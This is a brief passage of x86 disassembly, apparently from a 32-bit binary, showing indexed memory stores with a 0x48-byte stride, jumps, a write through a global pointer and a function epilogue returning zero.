jle 0x1007e967
imul edx, dword [ebp - 8], 0x48
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edx + 0x40], ecx
imul edx, dword [ebp - 8], 0x48
add edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
jmp 0x1007e93e
mov eax, dword [0x100b9c5c]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
jmp 0x1007e80e
xor eax, eax
mov esp, ebp
pop ebp
ret